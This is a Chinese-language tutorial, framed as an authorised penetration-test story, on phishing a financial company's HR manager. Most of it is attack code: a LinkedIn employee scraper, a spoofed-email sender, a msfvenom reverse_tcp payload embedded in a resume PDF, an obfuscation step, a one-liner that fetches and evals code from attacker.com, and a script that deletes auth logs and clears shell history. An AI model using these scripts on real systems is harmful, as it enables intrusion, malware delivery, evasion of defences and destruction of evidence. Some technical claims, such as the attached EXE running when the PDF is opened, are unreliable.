一、渗透故事的开场白

在某个真实的渗透测试项目中,我们的目标是一家金融公司,这家公司拥有大量的用户数据和敏感信息。为了获取初始访问权限,我决定使用社工铓鱼攻击,这是一个以欺骗为基础的攻击方式,通过伪装成可信的邮件或网站来诱骗用户提供信息或执行恶意操作。

在这次攻击中,我锁定了公司的HR经理。通过信息收集阶段,我发现她最近正在招聘新员工,于是我伪装成应聘者发送了一封邮件,附上了一个精心构造的恶意简历PDF文档。下面我们将详细介绍这个攻击过程的每个步骤,并展示如何使用Ruby和Shell脚本实现社工铓鱼攻击。

二、信息猎手:前期情报收集

在开始攻击之前,信息收集是至关重要的。通过OSINT(开放源情报获取),我设法获得了目标公司的基本信息、员工名单、邮箱格式和一些内部活动动态。这里介绍一个Ruby脚本来抓取目标公司的LinkedIn页面以获取员工信息。

<pre><code class="language-ruby">require &#039;nokogiri&#039; require &#039;open-uri&#039;

def fetch_employees(url) page = Nokogiri::HTML(open(url)) employees = page.css(&#039;.org-people-profile-card__profile-title&#039;) employees.map { |employee| employee.text.strip } end

linkedin_url = &#039;https://www.linkedin.com/company/target-company/people/&#039; employee_names = fetch_employees(linkedin_url)

puts &quot;Fetched Employees: #{employee_names.join(&#039;, &#039;)}&quot;</code></pre>

脚本说明

  • 使用Nokogiri库解析LinkedIn页面,提取员工姓名和职位。
  • 这段代码快速获取目标公司的员工名单,为社工攻击提供基础。

三、伪装艺术:定制邮件与文档

有了目标员工的信息,接下来便是构造诱骗邮件与恶意文档。为了让攻击更具欺骗性,我利用Ruby脚本发送伪装邮件,邮件中包含恶意PDF文件链接。PDF文档内嵌恶意代码,当目标打开时便会触发。

黑客示意图

邮件发送脚本

<pre><code class="language-ruby">require &#039;mail&#039;

options = { address: &quot;smtp.mailtrap.io&quot;, port: 2525, user_name: &quot;your_username&quot;, password: &quot;your_password&quot;, authentication: &quot;plain&quot;, enable_starttls_auto: true }

Mail.defaults do delivery_method :smtp, options end

Mail.deliver do to &#039;[email protected]&#039; from &#039;[email protected]&#039; subject &#039;Application for the Marketing Manager Position&#039; body &#039;Please find attached my resume for your consideration. [Link to PDF]&#039; end</code></pre>

脚本说明

  • 使用Mail库通过SMTP发送伪装邮件。
  • 邮件内容设计得体,提升可信度。

四、Payload构造的艺术:PDF内嵌代码

构造恶意PDF是铓鱼攻击的核心。为了在目标打开PDF时执行恶意代码,我们使用Shell脚本将恶意代码嵌入到PDF中。

PDF构造脚本

<pre><code class="language-shell">#!/bin/bash

echo &quot;Creating malicious PDF...&quot; msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=attacker_port -f exe &gt; malicious.exe

Embedding EXE into PDF

echo &quot;Embedding payload into PDF...&quot; pdftk original_resume.pdf output malicious.pdf attach_files malicious.exe

echo &quot;Malicious PDF created as malicious.pdf&quot;</code></pre>

脚本说明

  • 使用Metasploit的msfvenom生成反向TCP连接的恶意载荷。
  • 利用pdftk工具将EXE文件嵌入到PDF文档。

五、逆袭之道:绕过与免杀技术

黑客示意图

为了保证攻击的隐蔽性,我们需要绕过目标公司的安全防护。这里介绍几种绕过技巧:

混淆技术

通过代码混淆和壳加工具来伪装恶意代码,使得安全软件难以检测。

<pre><code class="language-shell">./obfuscator -i malicious.exe -o obfuscated.exe</code></pre>

内存加载技术

通过将恶意代码加载到内存中直接执行,避免文件落地。

<pre><code class="language-shell">ruby -e &#039;require &quot;open-uri&quot;; eval(open(&quot;http://attacker.com/payload.rb&quot;).read)&#039;</code></pre>

技巧说明

  • 使用混淆工具改变代码特征。
  • 内存加载技术避免文件被检测。

六、善后工作:痕迹清除与掩盖

一旦成功获取权限,最后一步便是痕迹清除。清除日志、关闭连接以及删除所有恶意文件是必要的。

黑客示意图

痕迹清除脚本

黑客示意图

<pre><code class="language-shell">#!/bin/bash

echo &quot;Clearing logs...&quot; rm -f /var/log/auth.log history -c

echo &quot;Logs cleared.&quot;</code></pre>

脚本说明

  • 删除系统日志文件,清除操作历史。
  • 确保攻击行为不被追踪。

七、个人经验之谈:社工攻击心法

在进行社工铓鱼攻击时,细节是成败的关键。以下是一些经验总结:

  • 定制化邮件与文档:根据目标的实际情况量身定制,增加可信度。
  • 持续跟踪与调整:不断收集信息,并根据反馈调整攻击策略。
  • 与时俱进:使用最新的工具和技巧,以应对不断升级的安全防护。

总结:社工铓鱼攻击是一道心理战术,技术与心理的结合往往能取得意想不到的效果。每一次攻击都是一次学习的机会,积累经验,才能更好地执行下一次的任务。

合法声明:本文仅限授权安全测试,供安全研究人员学习,请勿用于非法用途。